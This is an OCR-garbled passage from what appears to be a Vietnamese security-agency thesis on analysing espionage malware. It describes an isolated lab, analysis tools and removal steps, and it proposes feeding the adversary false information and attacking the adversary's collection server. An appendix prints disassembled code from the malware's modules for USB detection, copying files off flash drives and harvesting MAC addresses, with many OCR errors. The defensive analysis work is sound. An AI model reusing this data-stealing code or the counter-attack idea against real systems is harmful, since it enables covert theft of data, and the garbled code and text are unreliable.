
lay tin. Khong loai trir truong hop nhiéu vai tro nay 1a do ciing mot ngudi 1am.
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CHUONG 3:
KINH NGHIEM RUT RA VA PE XUAT

3.1. Kinh nghiém rut ra

Viéc cho hoat dong thir va phan tich cac chuong trinh doc hai néi chung la rat
nguy hiém. Trudc hét, viéc 1dy mau cia né phai dat dugc yéu cau gitt nguyén hién
truong, do d6 viée sao luu phai duoc tién hanh can than. Néu méi truong tién hanh
phan tich khong an toan va khong duoc kiém soét chat ché, khi chuong trinh hoat
dong rat co thé s& gay ton thuong cho chinh hé thong va gay ra hau qua khon luong.

Vi vay, nam vitng quy trinh phan tich, xt ly cac phan mém cai cam 1a rat can thiét.

3.1.1. Xay dwng méi trwong phén tich

Trudc khi xay dung mai truong phan tich, can quén triét mot s6 nguyén tac sau:
- Sir dung hé thdng chuyén dung cho phan tich va khong két ni Internet.

Hé théng ma ching ta s dung s& dugc cai dat cac phan mém ma doc, do do
chiding ta can phai cach ly chling véi mang may tinh phuc vu muc dich cong tac, kinh
doanh,... May tinh s& khong bao gio duoc két ndi dén mang Internet néu tat ca cac
phan mém d6 chua dugc huy diét hoan toan bang cach format lai 6 cing. Ciing dirng
bao gid nghi dén viéc luu trix cac dix liéu nhay cam trén hé théng nay, vi mot sé loai
phan mém ma doc c6 thé an cip dix liéu, gui 18n Internet hodc pha hong cac di ligu
nay. Hé thong nay chi nén don thuan 14 noi thi nghiém thdi. Viéc sir dung hé théng
vao muc dich khac s& gay ra rat nhiéu ric réi. Ludn cha y rang, khong bao gio dugc
ndi mang cac may nay véi Internet nham dam bao an toan dit liéu va tranh 1ay lan

cac chuong trinh doc hai ra ngoai.
- Ban phan tich phai nhu hién truong that.
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Khi phan tich phai chl y rang, may tinh dé phan tich phai dugc xay dung gidéng
nhu hién truong that dé dam bao do chinh xac trong két qua. Thong thudng, nguoi
phan tich sir dung mot hé théng phan cing that, st dung ban sao luu cua hién trudng
dua vao hé thdng nay va phan tich. Piéu nay dam bao cac yéu té phan ciing, phan

mém, két néi mang. .. gibng nhu hién rudong dé c6 do chinh xéac cao nhét.

3.1.2. Quy trinh phén tich

Trude tién, dé ¢ mau phan tich va giit nguyén dugc hién truong, ngudi phan
tich phai lay mau trén hé thong bi cai dat. Sau khi lay dugc mAu, ta tién hanh dua
vao moi truong phan tich va tién hanh xem xét hé théng. Thong thuong, nha phan
tich s& sir dung cac cong cu quan ly tién trinh & mirc sau dé do xét cc tién trinh dang
hoat dong. P6 khong phai la Task Manager tich hop trong Windows, ma la cac
chuong trinh chuyén dung hon, vi du nhu Process Explorer, Security Task
Manager... Cac chuong trinh nay c6 thé do tim va hién thi duoc ca céc tién trinh
ngam, cac module ma tién trinh goi dén, duong dan dén file thuc thi cua chuong
trinh dang hoat dong, cac mé ta cua file, tham chi con danh gia dugc muc do can
thiép sau vao hé thdng cua céc tién trinh. Bang cach xem xét cac tién trinh, dya vao
kinh nghiém ctia nha phan tich va di chiéu véi cac chuong trinh liét ké céc file khoi
dong ciia Windows nhu Startups. .., trong khi tim kiém chu y dén céc dau hiéu caa
hién trudng nhu ngay thang bat dau xay ra hién tuong, cac mo ta khong rd rang. ..,

nha phan tich s& rat ra duoc tién trinh nao 1a tién trinh nghi van.

> Doi voi cac chuong trinh ma doc an cap thdng tin, nha phan tich ¢ thé sir
dung cac cong cu kiém soét truy cap file, truy cap Registry nhu FileMon,
RegMon. Céac chuong trinh ndy giam sat cac tién trinh trong viéc truy cap
dir liéu trong may tinh, truy cap dén cac khoa cia Registry dé nam duoc

tién trinh ndo dang thu thap dit liéu va luu trix, gui di liéu di dau.
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> Doi voi cac chuong trinh cé sir dung két ndi mang, nha phan tich thuong
dung cac chuong trinh quét mang nhu Nmap, Ethereal (tién than cua
Wireshark), Ettercap... Dé quét céng va luu lwong mang, tir d6 tim ra
nhitng dich vu ndao d3 mé cong, guri thdng tin gi va gui dén dau, bang thac

nao...

Sau khi da phat hién dugc cac tién trinh nghi van, nha phan tich s& tién hanh
rat trich cac module d6 ra. Cac module nay sau d6 dugc dua vao cac cong cu phan
tich ma nhu IDA pro, Olly Debug... dé nghién ctu hanh vi. Néu khong doc duoc
ma ctia module, cac chuong trinh nay s& bao 16i module d bi pack va/hoic ma hoa.
Nhu vay, nha phén tich budc phai sir dung cac chuong trinh doc théng tin file PE
nhu PEiD, RDG Packer Detector... dé tim ra packer dung dé pack va ma hoa
module. Khi ¢6 dugc thdng tin nay, nha phan tich st dung cac chuong trinh unpack
tuong tmg dé c6 dugc module chua bi ma hda. Cac module nay lai duoc dua vao
cong cu dé phan tich ma dé ching to hanh vi ciia né dung nhu da gay ra doi véi hé
thdng bi cai dat. Thong thudng, nha phan tich sé& tim kiém cac chudi ky tu (string),
cac 101 goi (call), cac khoa Registry.. ., két hop do xét cac ma Assembly ciia chuong
trinh dé tim dwoc hanh vi cua module d6. Néu ching minh duwoc mad ngudn cua
chuong trinh thuc hién cac hanh vi dang nhu hé théng dang gip phai thi nha phan
tich da thanh cong.

Pé chac chan nhitng phan tich ctia minh 14 ding dan, nguoi phan tich phai
tién hanh xay dung mé hinh véi cac thanh phan thu dugc va kiém tra trang thai cua
hé thong. Néu cac biéu hién ciia mé hinh duoc xay dung giéng véi biéu hién cua
hién truong thi chiing té cac thanh phan d6 chinh 1a thanh phan gay ra biéu hién bat
thuong.
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Sau khi phét hién, c6 nhiéu cac dé xu 1y cac chuong trinh ma doc nay. Pon
gian nhat, nha phan tich dua trén cac hanh vi ma chwong trinh gay ra cho hé thong
dé 1ap quy trinh thao g&. Ngoai ra, con c6 nhiéu cach xir Iy khac s& dugc noi rd &

phan sau.

Ngoai viéc phét hién, xir Iy cac phan mém cai cdm, chuyén gia phan tich cling
phai chti y dén cac noi dung lién quan vé nghiép vu Cong an ciing nhu vé k¥ thuat,
tir 46 rat ra kinh nghiém, néu cac danh gia, dé xuat dé van dung vao cong tac cua
Nganh, nham khéc phuc hau qua va bit kin cac so hé ma bén ngoai ¢ thé loi dung.

3.2. Pé xuit
3.2.1. Giai phap khic phuc hau qua va bit kin so’ hé

Hién nay, may tinh va mang may tinh ngay cang dugc su dung séu rong va tro
thanh nhu cau thiét yéu trong moi hoat dong, mang lai nhiéu lgi ich cho x& hoi. Tuy
nhién, cac thé luc thu dich va ké xau ciing rét tich cuc loi dung mang may tinh dé
ldy cap thong tin. Do dic thi caa may tinh, mang may tinh va Internet luén c6 nhitng
156 hong an ninh va trinh d6 k¥ thuat cua ta chura dam bao du do an toan khi két ndi
Internet, do d6 ngudi thyc hién xin dé xuat mot s6 giai phap nham khic phuc hau

qua va bit kin so hd cua ta nhu sau:

- Quan triét nghiém tlc quy ché sir dung may tinh dé két ndi mang Internet. Cac
may tinh c6 chira thong tin co mat khong duoc phép két ndi Internet. Thém vao do,
khong duoc dua cac thiét bi luu trir (nhat 1 céc thiét bi luu trit di dong nhu USB
flashdisk, dfa mém, dia quang..) c6 chira thdng tin mat vao sir dung trén cac may

tinh két ndi Internet vi nguy co ro ri thong tin rét cao.

- Pbi voi truong hop néu trén, chiing ta xac dinh 1a thdng tin c¢d thé da bi lay
cap. T ngay thang bi cai cam phan mém, chlng ta c6 thé truy tim duoc nhiing nguoi
c6 lién quan (tiép can may tinh vao ngay do, truc ban vao ngay do...), nhitng théng
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tin ndo d4 bi 6. T nhitng két qua ndy, ching ta xem xét, rat kinh nghiém trong qué
trinh tuyén dung nhan vién dé dam bao su trung thanh caa ho. B4i véi théng tin da
bi ro ri thi 6 thé tinh toan phuong an x6a 16, vi du nhu c6 thé cung cap tiép théng

tin méi (thong tin sai léch) cho dich dé vo hiéu hda gié tri caa thong tin ci. ..

- Khi sir dung Internet, nguoi ding can tranh mé vao cac email (thuong co file
dinh kém) khong rd ngudn gdc, truy cap vao cac website, cac lién két khong rd rang,
tranh bi cai cam phan mém vao may. Phai cai dat va thuong xuyén cap nhat cac
chuong trinh diét virus, spyware, cai dit tuong lira (firewall) dé han ché cac nguy co

bi tin céng boi cac chuong trinh ma doc va hanh vi tan cong tir bén ngoai.

3.2.2. Cac phuong an xir ly phan mém cai cam

Mot khi di phat hién dugc phan mém cai cam véi muc dich thu tin bi mat,
phuong an xir Iy an toan va don gian nhat d6 1a thao g& hoat dong cua chung dé dam

bao an toan dir liéu, ngan can hanh vi thu tin tir bén ngoai,

Phuong 4n thao g& phan mém cai cam da duoc trinh bay trong qua trinh phan
tich thanh phan thu tin va thanh phan thong bao dia chi & trén. Khi hai thanh phan
truéc bi vo hiéu héa thi thanh phan loi dung 15 hong dé 14y tin thu duoc (khéng duoc
cai cam trén may tinh cua ta) xem nhu bi vo hiéu héa hoan toan. Thong thuong, khi

da bi 16 ¥ dd thu tin, co quan dic biét nuwdc ngoai s& g& bo thanh phan nay.

Nhu di phan tich & trén, phan mém cai cam nay duoc sir dung voi muc dich thu
tin bi mat, 1a hé théng gom 3 thanh phan riéng biét c6 méi lién hé véi nhau. C6 thé
xem day 1a mot “mang ludi gian diép dién tir” dé thu tin thay cho con nguoi. Do do,
chiing ta c6 thé “twong ké tuu ké&” dé tung cac tin gia, tin that thiét cho dich. Véi
phuong an nay, chung ta vira ¢ thé dam bao an toan thong tin vé luc luong, chién

luge. .., vira gy thiét hai cho dich va c6 thé diéu khién hoat dong cua dich theo y d6
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ciia Co quan An ninh. Tuy nhién, néu st dung phuong an nay dé phan cong dich,

can c6 sy tinh toan ki ludng, chi tiét, can than.

Nhu d3 phan tich, phan mém cai cim chic chin phai giri thong tin ra bén ngoai
dén mot dia chi nao do, tir dia chi ndy, ching ta c6 thé tim hiéu céc thong tin vé dich.
Trong trudong hop cu thé trén, dia chi IP la cho ching ta biét nguoi ding ky 1a dai
dién cua mot cong ty tai Trung Quéc, voi day du dia chi dia ly, sé dién thoai, s6

fax...

Qua day, chung ta cling biét dugc web server ma bén ngoai sir dung 1a Apache.
Website nay da tiép nhan céac thdng tin tir may bi cai cim gui vé théng qua cac goi

tin. Chling ta co thé tinh toan tan cong vao web server nay dé phan cong dich.

Tir nhitng trudng hop cu thé da dugc phat hién & trén, dé an dé xuat phuong
an “sir dung chinh phan mém cua dich dé thu tin phuc vu yéu cau cua ching ta. Co
guan Cong an nén c6 mot cuc tac chién trén mang phuc vu yéu cau caa An ninh quéc

gia
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KET LUAN

Cong nghé thong tin da dugc (ng dung vao moi linh vuc ctua doi song x& hoi.
X& hoi ngay cang phu thudc vao cadc mang may tinh. Cac thé lec thu dich ciing rat
chd trong st dung mang may tinh vao muc dich thu thap tin tic cua ddi phuong.
Chung ta ciing da cht ¥ canh bao cac nguy co nay. Vu Viéc trén cang cho thay nhan

dinh cua chiing ta 1 c6 co s thyc tién.

Qua tim hiéu c4c van dé vé may vi tinh, mang Internet, hé diéu hanh Windows,
qué trinh thyc thi ctia chuong trinh, cac cong cu st dung dé phan tich chuong trinh. ..,
d6 an da dua ra duoc quy trinh phan tich, xac dinh va xir ly cac phan mém cai cam
véi dung y thu tin bi mat.

Trong d6, d6 an tim hiéu dugc cong nghé dich nguoc ma may (Reverse
Engine) dé tim hiéu va ching minh hanh vi caa cac phan mém.

Nhitng noi dung nay khong chi tng dung véi cac phan mém cai cam néi riéng
ma con cé thé tng dung dugc trong linh vuc phan tich, xir Iy cac chuong trinh ma
ddc (malware) noi chung nhu virus, spyware thong thuong, worm, backdoor, trojan,

rookit...
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PHU LUC: MOT SO POAN CODE THE HIEN HANH VI CUA
CAC MODULE

1. Poan code thyuc hién viéc kiém tra sy c6 mat cua USB flashdisk trong
module mdidlIl.dli

push esi

mov esi, [esp+0Ch]

mov eax, esi

push edi

mov edi, [esp+14h]

sub eax, 2

jz short loc_710019D9
sub eax, 217h

jnz short loc_710019E1
mov eax, edi

sub eax, 8000h

jz shortloc_710019E1
push 64h

call ds:Sleep

push offset String

push 104h

call ds: GetLogicalDriveStringsA
push offset String

call sub_71001000

add eso, 4
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mov dword_71004A94, eax
jmp short loc_710019E1

2. Poan code copy dir liéu trong USB flashdisk cua module mdidll.dll
sub_71001040 proc near

hFindFile= dword ptr -888h

var_884 = byte ptr-884h

FindFileData =_WIN32_FIND_DATAA ptr-820h

FileName = byte ptr -6EOh

NewFileName = byte ptr -4ECh

ExistingFileName = byte ptr -3E8h

var_1F4 = byte ptr -1F4h

arg 0 = dword ptr 4

sub esp, 888h; decrease stack index (SP)

push ebx

mov ebx, ds:sprintf

push ebp

mov ebp, [esp+890h+arg_0]

push esi

push ebp

lea eax, [esp+898h+FileName]

push eax ; Dest

call ebx
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add esp, OCh; esp +=12d
lea ecx, [esp+894h+FindFileData]

lea edx, [esp+894h+FileName]

push ecx ; IpFindFileData
push edx ; IpFileName
call ds:

mov esi, eax
lea eax, [esp+894h+FindFileData]
push eax ; IpFindFileData
pushesi ; hFindFile
mov [esp+89Ch+hFindFile], esi
call ds:FindNextFileA
test eax, eax
jz loc_71001251
push edi
loc_71001097:
mov esi, ds: mbscmp

lea ecx, [esp+898h+FindFileData.cFileName]

”n,
L}

push offseta_;a_=
push ecx

call esi

add esp, 8

test eax, eax

jzloc_71001238
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lea edx, esp+898h+FindFileData.cFileName]
push offseta__ ;a_=“..";

push ecx

call esi

add esp, 8

test eax, eax

jz loc_711001238

lea edx, esp+898h+FindFileData.cFileName]
push offseta__  ;“..”

push edx

call esi

add esp, 8

test eax, eax

jz loc_71001238

mov eax, [esp+898h+FindFileData.dwFileAttributes]
cmp eax, 10h; 10h=16

lea eax, [esp+898h+FindFileData.cFileName]
jnz loc_71001192

lea ecx, [esp+8A4h+FileName]

push ecx ; Dest

call ebx

mov edi, offset PathName

or ecx, OFFFFFFFFh

Xor eax, eax; clear eax
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lea edx, [esp+8A8h+var_1F4]

repne scasb

not ecx

sub edi, ecx

mov eax, ecx

mov esi, edi

mov edi, edx

shr ecx, 2

rep movsd

mov ecx, eax

and ecx, 3

rep movsb

lea ecx, [esp+898h+FindFileData.cFileName]
push ecx

push offset aSS ; “&s\\&s”

push offset PathName ; Dest

call ebx; sprintf

add esp, 20h

push 0 ; IpSecurityAttributes
push offset PathName ; IpPathName
call ds:CreateDirectoryA

lea edx, [esp+898h+FileName]

push edx

call sub_71001040
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add esp, 4

lea eax, [esp+898h+FineName]
push eax ;IpPathName

call ds:RemoveDirectorvA

rep movsd

mov ecx, edx

and ecx, 3

rep movsb

jmp loc_71001238

loc_71001192:
lea ecx, [esp+8A4h+ExistingFileName]

push ecx ; Dest

call ebx ; sprintf

lea edi, [esp +8A8h+FindFileData.cFileName]
or ecx, OFFFFFFFFh

Xor eax, eax

add esp, 10h

repne scasb

not ecx

sub edi, ecx

lea edx, [esp+898h+var_884]

mov eax, ecx
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mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
Xor eax, eax
add ecx, 3
rep movsb
lea edi, [esp+898h+var_884]
or ecx, OFFFFFFFFh
repne scasbh
not ecx
dec ecx
cmp ecx , 4
jl short loc_710011F6
mov al, byte ptr [esp+ecx+989h+hFindFile+3]
add al, 2
mov byte ptr [esp+ecx+989h+hFindFile+3], al
mov d1, byte ptr [esp+ecx+989h+hFindFile+2]
add d1, 2
lea edx, [esp+ecx+898h+hFindFile+1]
mov byte ptr [esp_ecx+898h+FindFile+2], d1
add byte ptr [eax], 2
loc_710011F6:
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lea ecx, [esp+898h_var_884]
lea edx, [esp+898h+NewFileName]
push offset PathName
push offset aSS ; “&s\\&s”
push edx ; Dest
call ebx; sprintf
and esp, 10h
lea eax, [esp+898h+NewFileName]
lea ecx, [esp+898h+ExistingFileName]
push 0 ; bFaillfExists
push eax ; IPNewFileName
call ds:DeleteFileA
loc_71001238:
mov esi, [esp+898h+hFindFile]
lea eax, [esp+898h+FindFileData]
push eax ; IpFindFileData
push esi ; hFindFile
call ds:FindNextFileA
test eax, eax
jnz loc_71001097
pop edi
loc_71001251:
push esi ;hFindFile

call ds:FindClose
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pop esi
pop ebp
mov eax, 1 ; returnl
pop ebx
add esp, 888h
retn
sub_71001040
3. Poan code lay dia chi MAC cua module itirclt_unpack.exe
; int_stdcall sub_402750(char *Dest, int)
sub_402750 proc near
pncb = _NCB ptr -140h
var_100 = byte ptr -100h
var_FF = dword ptr -OFFh
dest = dword ptr 4
sub esp,140h
push ebx
push esi
push edi
mov ecx, 10h
Xor eax, eax
lea edi, [esp+14Ch+pncb]
rep stosd
lea ecx, [esp+14Ch+pncb]

lea eax, [esp+14Ch+var_100]
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push ecx ; pncb

mov [esp+150h+pncb.ncb_command], 37h
mov [esp+150h+pncb.ncb_buffer], eax
mov [esp+150h+pncb.ncb_length], 100h
call Netbios

mov ebx, [esp+14Ch+var_FF]

mov ecx, 10h

Xor eax, eax

lea edi, [esp+14Ch+pncb]

lea edx, [esp+14Ch+var_1000]

push ecx ; pncb

mov [esp+150h+pncbh.ncb_command], 37h
mov [esp+150h+pncb.ncb_buffer], eax
mov [esp+150h+pncb.ncb_length], 100h
call Netbios

mov ebx, [esp+14Ch+var_FF]

mov ecx, 10h

Xor eax, eax

lea edi, [esp+14Ch+pncb]

lea edx, [esp+14Ch+pncb]

and ebx, OFFh

rep stosd

push edx ; pncb



